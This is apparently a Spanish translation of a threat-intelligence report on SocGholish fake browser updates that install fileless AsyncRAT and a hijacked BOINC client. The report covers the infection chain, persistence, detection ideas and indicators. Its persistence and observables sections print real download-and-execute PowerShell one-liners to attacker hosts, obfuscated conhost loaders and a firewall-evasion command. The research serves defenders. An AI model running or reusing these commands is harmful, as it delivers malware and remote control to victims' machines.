Falsas actualizaciones de navegador llevan al software de computación voluntaria BOINC

A partir del 4 de julio de 2024, Huntress observó nuevos comportamientos relacionados con el malware conocido comúnmente como SocGholish o FakeUpdates. Se trata de un grupo grande de malware, con varias campañas nuevas y malware similar que surgieron en los últimos años. Huntress ha escrito sobre SocGholish anteriormente, y muchos de estos mismos comportamientos no han cambiado. Las infecciones suelen comenzar cuando un usuario visita un sitio web comprometido, lo que genera una ventana falsa de actualización del navegador. Al descargar y ejecutar la actualización, se ejecuta código malicioso que normalmente descarga más malware en el endpoint. En infecciones previas de SocGholish, esto llevó a la instalación de uno de varios RATs comunes (como AsyncRAT o NetSupport RAT) que ofrecen una conexión de Comando y Control al endpoint infectado. En infecciones recientes, se ejecutaron algunos archivos y scripts adicionales que se desviaron de los comportamientos normales.

Cadena de infección

Acceso inicial

Como es típico en las infecciones de SocGholish, un archivo malicioso de Javascript es responsable de descargar las etapas posteriores de la cadena de ataque. En este caso en particular, ocurren dos cadenas separadas, una que resulta en una variante sin archivos de AsyncRAT y la otra que termina en una instalación maliciosa de BOINC (Berkeley Open Infrastructure Network Computing Client). La segunda etapa de ambas se aloja en rzegzwre[.]top, pero a la cadena de BOINC se accede directamente por IP.

Los cargadores de PowerShell están todos muy ofuscados, y la mayoría de las cadenas se almacenan como arreglos de caracteres que luego se vuelven a ensamblar. Los scripts usados para instalar BOINC no solo están sin ofuscar, sino que además contienen comentarios del autor: ¡un gusto inesperado!

Instalación sin archivos de AsyncRAT

Etapa 1:

No hay mucho en esta etapa; intenta una evasión de AMSI usando una técnica detallada en una publicación de blog de MDSec. Luego, hace una solicitud curl para descargar la siguiente etapa.

Etapa 2:

Esta parte de la cadena es responsable de decodificar, descifrar y descomprimir la Etapa 3 del cargador de PowerShell. Esta técnica se usa varias veces a lo largo de las distintas etapas de PowerShell con diferentes claves XOR.

1. Decodificar la cadena en Base64
2. Aplicar XOR a los bytes con la clave "bj3rtga4myi5"
3. Descomprimir el contenido usando gzip
4. Ejecutar el resultado usando IEX

La siguiente receta de CyberChef se puede usar para replicar esta funcionalidad y revelar el contenido de la Etapa 3.

Etapa 3:

Esta etapa gira principalmente en torno a la funcionalidad Anti-VM. Usa varias técnicas conocidas para generar un puntaje de "umbral de VM" que se envía como parámetro en la solicitud cURL para llegar a la siguiente etapa.

Luego usa el mismo Algoritmo de Generación de Dominios (DGA) empleado en etapas anteriores para hacer una solicitud cURL y obtener la etapa final.

Payload final:

El payload final es una versión igualmente ofuscada de AsyncRAT, que se comunica con un servidor C2 en ga1yo3wu78v48hh[.]top.

Los dominios usados aquí se registraron recientemente con un registrador llamado "NICENIC INTERNATIONAL GROUP Co., Limited" y un país registrante de Sudáfrica. Esta es una infraestructura de red muy similar a la señalada por AT&T Alien Labs en enero de 2024, usada por un adversario para instalar AsyncRAT.

Usando Validin, podemos ver claramente los cambios en el dominio C2 actual a lo largo del tiempo como resultado del DGA.

Software de BOINC instalado

El WebRequest de PowerShell (usando el alias "cURL") en la Etapa 3 genera varios archivos que se depositan en el disco. El script luego elimina algunos indicadores y crea una tarea programada que ejecuta un archivo sospechoso desde el directorio %appdata%.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c curl -useb 216.245.184[.]105/1.php?s=boicn| iex

Al revisar los registros de eventos operativos de PowerShell (ID 4104), con el registro de ScriptBlock habilitado en el endpoint, se revela el script ejecutado a partir del comando anterior. A partir de aquí podemos descubrir exactamente qué ocurrió en el endpoint examinando el script.

Crea una lista de nombres de directorios y elige uno de ellos al azar para usarlo en el endpoint (usando el cmdlet de PowerShell Get-Random, que utiliza números del 0 al [Int32]::MaxValue). Luego establece la ruta completa y crea el directorio.

Crea una lista de posibles nombres para nombrar un archivo ejecutable (con una posibilidad de no usar ninguna de estas opciones, lo que resultaría en solo .exe como nombre del archivo).

Luego elimina el script que se había dejado (descargado como resultado del comando PS IWR) y crea un nombre de archivo para un archivo ZIP que se descarga y escribe contenido en el archivo.

Descomprime un archivo ZIP que se había escrito en el endpoint, elimina el archivo ZIP y renombra un archivo llamado BOINC.exe con un nombre elegido al azar de la lista creada anteriormente.

Crea la tarea programada que ejecutará BOINC usando uno de los nombres definidos aquí.

La tarea, con su nombre real, tal como la creó el script, se ejecuta en el endpoint.

"C:\Windows\system32\schtasks.exe" /run /tn System_Health_Service_790926033

Crea un valor de registro.

Este es un error ortográfico único de la palabra “Experience” que se ha usado en el pasado junto con el nombre de una clave de ejecución del registro que almacena una versión, a menudo renombrada, de NetSupport, usada de forma maliciosa como C2. La clave de registro creada aquí es solo un valor simple que contiene únicamente el número “1”. Esto puede usarse para marcar el endpoint como infectado.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-ItemProperty -Path "HKCU:\Software\Microsoft" -Name ExpirienceHost -Value 1

¿Por qué BOINC?

Si bien gran parte de esta actividad no es nueva para el malware SocGholish, el uso del software BOINC en las tareas programadas es relativamente inusual. BOINC es un software de código abierto que puede encontrarse en GitHub. El archivo readme del proyecto lo describe como “una plataforma de software para la ‘computación voluntaria’: computación distribuida de alto rendimiento a gran escala que usa computadoras domésticas voluntarias y otros recursos”.

BOINC facilita la conexión con un servidor remoto que puede recopilar información y enviar tareas al endpoint para su ejecución. La intención es usar recursos informáticos “donados” para contribuir al trabajo de diversos proyectos científicos legítimos. En ese sentido es similar a un minero de criptomoneda (usar recursos informáticos para hacer trabajo), y de hecho está diseñado para recompensar a los usuarios con un tipo específico de criptomoneda llamada Gridcoin, diseñada para este propósito.

El uso típico de BOINC incluye seleccionar proyectos legítimos de servidores oficiales (como Rosetta@home) y recibir y completar estas tareas junto con las recompensas de Gridcoin (que se ofrecen solo por completar tareas legítimas y oficiales para proyectos reales de BOINC, según una publicación de un administrador en los foros).

Estas instalaciones maliciosas de BOINC vienen configuradas para conectarse no a uno de los servidores legítimos de BOINC, sino a un servidor que imita su apariencia, como Rosettahome[.]top. Desde un servidor malicioso, se pueden recolectar datos de los equipos afectados, transferir archivos y enviar cualquier cantidad de tareas a los equipos para que se ejecuten. En esencia, puede funcionar como un C2, uno que parece usarse para donar a la ciencia, pero que en realidad usan los actores de amenazas. Estas conexiones de equipos podrían venderse como vectores de acceso inicial para que los usen otros actores y, potencialmente, para ejecutar ransomware. Hasta ahora, Huntress no ha observado actividades ni tareas maliciosas ejecutadas por los equipos infectados.

Los administradores del proyecto BOINC y la comunidad están al tanto del uso indebido continuo del software, ya que publicaciones del foro posts que datan del 26 de junio de 2024 mencionan las mismas TTPs observadas por Huntress. También nos comunicamos con el proyecto BOINC para informarles que nosotros también hemos estado observando y rastreando estos comportamientos.

Los mismos comportamientos observados por el usuario en el foro también fueron observados por Huntress, hasta las mismas rutas de archivo, los mismos dominios de servidor e incluso los mismos nombres de archivo para el cliente de BOINC utilizado. Un reciente OTX pulse creado el 12 de julio de 2024 también muestra muchos de los mismos dominios, direcciones IP, archivos y TTPs observados por Huntress.

• Se instala software malicioso como servicio
• Se descargan copias de BOINC en la carpeta C:\USERNAME\AppData\Roaming y en varias subcarpetas
• Los ejecutables del cliente BOINC se renombran como: .exe, gupdate.exe, SecurityHealthService.exe, whost.exe y trustedinstaller.exe
• Se crean tareas programadas para ejecutar los clientes BOINC renombrados

Observamos conexiones activas desde trustedinstaller.exe (BOINC renombrado) hacia 104.238.34[.]204 en una de las máquinas. Este fue uno de dos servidores BOINC maliciosos similares, y uno de ellos contenía más de 8.000 conexiones activas.

La inicialización del servidor queda registrada en la página de estado del proyecto, por lo que podemos ver que RosettaHome[.]top se inició el 15 de junio de 2024 a las 13:58:29 UTC.

Otro servidor en rosettahome[.]cn se inició exactamente al mismo tiempo.

Ambos servidores intentaron ocultar y encubrir las estadísticas de usuarios eliminando /rosettahome/about.php. Sin embargo, ambos conservaron los métodos alternativos de consulta:

/rosettahome/show_user.php?userid=<ID>

y

/rosettahome/hosts_users.php.

Aún es posible enumerar los proyectos a través de estas páginas.

Usando estas listas de clientes expuestas, podemos determinar el total de máquinas conectadas a cada uno de estos servidores C2 a lo largo del tiempo:

8.453 clientes conectados a rosettahome[.]cn a las 12:45 p. m. hora del Pacífico del 15 de julio de 2024:

1.579 clientes conectados a rosettahome[.]top a las 12:45 p. m. hora del Pacífico del 15 de julio de 2024:

Curiosamente, a las 12:58 p. m. hora del Pacífico del 15 de julio, ambos servidores observados no mostraban tareas ejecutadas en las máquinas, lo que indica que ninguna funcionalidad de los protocolos de comunicación de BOINC, como tareas o procesamiento, parecía haberse emitido jamás.

Ambos dominios usados para estos servidores se crearon recientemente:

Los archivos que se vieron comunicándose con el dominio están relacionados con el software BOINC (estos archivos XML forman parte de la configuración estándar de BOINC).

La motivación y la intención del actor de amenazas al cargar este software en los endpoints infectados no está clara por ahora. No tenemos evidencia clara de que se haya cargado malware adicional en los casos que hemos visto. Es posible cargar software adicional tanto durante la instalación de BOINC como mediante tareas de los servidores remotos de BOINC, pero no hemos observado que ocurra ninguna de las dos cosas (nuestra capacidad para investigar y recolectar artefactos a menudo fue limitada, ya que los endpoints se desconectaron o se remediaron después de la infección). Los clientes infectados que se conectan activamente a servidores BOINC maliciosos presentan un riesgo bastante alto, ya que existe la posibilidad de que un actor de amenazas motivado haga mal uso de esta conexión y ejecute cualquier cantidad de comandos o software malicioso en el endpoint para escalar privilegios aún más o moverse lateralmente por una red y comprometer un dominio entero.

Persistencia

Se crearon tareas programadas en varios puntos de la infección. Como resultado de AsyncRAT, se crearon tareas programadas para mantener una conexión con el C2.

Tarea programada de ASYNC RAT:

"command_with_args": "conhost --headless powershell .$([char](9268-9163)+'ex') (get-content 'C:\\Users\\<redacted>l\\AppData\\Local\\Microsoft\\Vault\\Get-PhysicalExtentAssociation_QoS.log' -raw)",
"description": "Maintenance task",
"name": "Get-PhysicalExtentAssociation_QoS",
"task_file": "C:\\Windows\\System32\\Tasks\\Get-PhysicalExtentAssociation_QoS",

Tarea programada de BOINC:

"command_with_args": "C:\\Users\\<redacted>\\AppData\\Roaming\\EULA Updater\\SecurityHealthService.exe --detach_console",
"name": "CleanUpMgrTask_1322139014",
"task_file": "C:\\Windows\\System32\\Tasks\\CleanUpMgrTask_1322139014",
"working_directory": "C:\\Users\\<redacted>l\\AppData\\Roaming\\EULA Updater",

Nombre de la tarea programada (comando codificado en Base64 para deshabilitar algunas configuraciones de internet/firewall):

Google_Maintenance_Worker

Nombre de la tarea programada (AsyncRAT):

Get-PhysicalExtentAssociation_QoS

Nombres de la tarea programada (cliente BOINC):

MoziilaUpdateService_[0-9]{1,10}

Google_Maintenance_[0-9]{1,10}

System_Health_Service_[0-9]{1,10}

CleanUpMgrTask_[0-9]{,110}

_[0-9]{8,10}

Familias de malware asociadas

Hay un número creciente de campañas y malware con técnicas superpuestas, especialmente el uso de actualizaciones de navegador falsas como método de acceso inicial. Los TTPs observados aquí se superponen más estrechamente con SocGholish, que es más conocido por usar el archivo malicioso inicial llamado update.js, a diferencia de otras convenciones de nombres usadas por malware similar que incluyen números de versión o la palabra "installer" o el nombre de un navegador específico en el nombre del archivo. Algunas de las actividades posteriores, como la instalación de AsyncRAT, también coinciden más estrechamente con SocGholish. Unit42 de Palo Alto observó TTPs similares en febrero de 2024, incluido el uso de un archivo .log con un nombre similar (que contiene el PowerShell ofuscado de AsyncRAT) llamado por un comando conhost.exe sin interfaz en una tarea programada, y nombres de dominio de C2 con nombres similares creados mediante DGA.

Comportamientos que se superponen con SocGholish/FakeUpdates

• Método de acceso inicial (update.js actualización falsa del navegador)
• Dominio de nivel superior (.top)
• Solicitud web de PowerShell para descargar el archivo .svg
• Instalación de AsyncRAT (mediante la descarga del archivo .svg )
• Alerta de Defender sobre el archivo Update.js

Comportamientos que coinciden con AsyncRAT

• Descarga de PowerShell usando un archivo .log que contiene código ofuscado
• Comandos de PowerShell desde conhost.exe en modo headless
• Persistencia que ejecuta comandos de PowerShell
• Servidor C2 que usa dominios DGA que terminan en .top

Los comportamientos e indicadores observados fueron consistentes con los métodos vistos anteriormente para el uso de AsyncRAT sin archivos (a diferencia de la versión binaria en C#) ejecutado por PowerShell. El método específico de persistencia (usando comandos de Conhost en tareas programadas) también es consistente con AsyncRAT observado previamente. Los dominios que observamos eran similares a los que otros han señalado como usados con AsyncRAT.

Oportunidades de detección

El uso de familias de malware conocidas y típicas como SocGholish y AsyncRAT juntas ofrece excelentes oportunidades para detectar y rastrear los comportamientos de estas familias (o malware similar). Esto hace que sea mucho más fácil identificar nuevas tácticas en uso. Cuando un comportamiento cambia, es probable que el otro no haya cambiado. Así puedes explorar las detecciones creadas para encontrar nuevos comportamientos que variaron respecto a lo habitual y que potencialmente no se detectaron. Esto es lo que ocurrió en este caso. Los comportamientos familiares y consistentes llevaron a descubrir algunos comportamientos nuevos que también pueden detectarse en el futuro.

Oportunidad de detección n.º 1: ejecución de software BOINC

Aunque BOINC es software legítimo, su uso debería ser poco frecuente (especialmente en sistemas de una empresa u organización). Por lo tanto, en la mayoría de los entornos, detectar cualquier instalación de BOINC sería una forma sencilla de detener cualquier ataque que intente utilizarlo.

Regla Sigma: posible ejecución de software BOINC

Regla YARA: firma de software BOINC

Mucho más inusual que el uso legítimo de BOINC.exe sería el uso del software cliente de BOINC que ha sido renombrado a otra cosa. Existen varios métodos que podrían usarse para detectar este comportamiento en este ataque:

• Creación de procesos usando BOINC.exe (nombre de archivo original) con un nombre de proceso distinto de BOINC.exe
• Registro de eventos de Windows PowerShell con ID 4104 (con el registro de ScriptBlock habilitado) que contiene la cadena: rename-item "boinc.exe" tal como se ve en el script malicioso usado en este ataque

Regla Sigma: BOINC renombrado

Supervisa si hay una tarea programada que ejecute BOINC.exe (especialmente desde directorios distintos de C:\Program Files. Esta tarea se creó usando un script de PowerShell muy ofuscado (que se eliminó del endpoint de inmediato). Esto sería difícil de detectar solo con datos de la línea de comandos del proceso. El script sí contenía cadenas interesantes (que se encuentran en forma desofuscada en los registros de eventos operativos 4104 de PowerShell) que podrían ser interesantes de rastrear, como el uso de variables predefinidas en los comandos para crear la tarea en sí.

Register-ScheduledTask -Action $Action -Trigger $Trigger -TaskName “$tasknm” -Settings $Settings;
Schtasks.exe /r /tn “$taskm”

El evento de seguridad de Windows con ID 4698 supervisa la creación de tareas programadas. Supervisa estos eventos en busca de nuevas tareas sospechosas en tu entorno que puedan ejecutar software desde ubicaciones nuevas y sospechosas, como subdirectorios bajo el directorio %appdata%.

Oportunidad de detección n.º 2: PowerShell sospechoso

Supervisa el tráfico web y los datos de procesos (especialmente descargas de PowerShell y solicitudes web) que se conecten a dominios sospechosos .top (probablemente creados por un algoritmo de generación de dominios) e investiga el origen en busca de posible malware SocGholish o AsyncRAT.

En esta infección, y como se observa comúnmente en los comandos y tareas programadas de AsyncRAT, observamos el uso de conhost.exe con el parámetro –-headless para ejecutar comandos de PowerShell (que se conectaban al servidor C2). Aunque conhost.exe a veces se ejecuta así mediante software legítimo, no suele usarse para ejecutar PowerShell.

Regla Sigma: PowerShell desde Conhost en modo headless

Oportunidad de detección n.º 3: nombre de proceso sospechoso

El script de PowerShell usado para descargar BOINC al endpoint también renombró el archivo ejecutable a partir de una lista de nombres, con un comando para elegir uno al azar. Este proceso incluía una opción para no usar ningún nombre, y observamos el software BOINC ejecutándose como un proceso sin nombre alguno. El nombre del proceso era simplemente .exe. Si bien en casos excepcionales esto podría usarse de forma legítima, debería ser poco frecuente. Recomendamos investigar cualquier proceso sin nombre de archivo (solo con una extensión y una ruta de archivo).

Regla Sigma: proceso sin nombre

IOCs

Indicadores de red

Indicadores de archivo

Observables

Acceso inicial (varias etapas):

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -c "iwr -usebasicparsing http://rzegzwre.top/f23.svg |iex"

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c curl -useb 216.245.184.105/1.php?s=boicn| iex

Comando de descubrimiento:

"C:\Windows\system32\net.exe" localgroup Administrators

Comando y control:

"C:\\Windows\\system32\\conhost.EXE" --headless powershell .(-join (0..16| ForEach-Object {[char]([int]('0781151231161121060501061' + '25117119106120120110116115').Substring($($_ * 3), 3) - 5)}))(get-content 'C:\\Users\\<redacted>AppData\\Local\\Microsoft\\EDP\\Disable-NetAdapterPacketDirect.log' -raw)

Evasión de defensas:

"netsh.exe" firewall add allowedprogram C:\Program Files\SentinelOne\Sentinel Agent 23.2.3.358\SentinelDotNetFx.dll SystemUpdate ENABLE

"C:\Windows\system32\conhost.EXE" --headless powershell -ep bypass AzureGet-SmbSession

"C:\WINDOWS\system32\conhost.EXE" --headless powershell -ep bypass AzureRemove-NetEventSession

Estos comandos no aparecen en la documentación oficial de Microsoft para Azure PowerShell 12, 11 ni Azure 10 PowerShell. Según el nombre, podrían ser un alias de los comandos Get-SMBSession y Remove-NetEventSession.

Get-SmbSession - Esto recupera información sobre las sesiones del protocolo Server Message Block (SMB) que están actualmente establecidas entre el servidor SMB y los clientes asociados. Esto se podría usar para descubrir otros sistemas de red y facilitar un posible movimiento lateral.

Remove-NetEventSession - Esto sirve para restablecer la conexión de red y detener el registro de eventos de red en esa interfaz.

Asignación de MITRE ATT&CK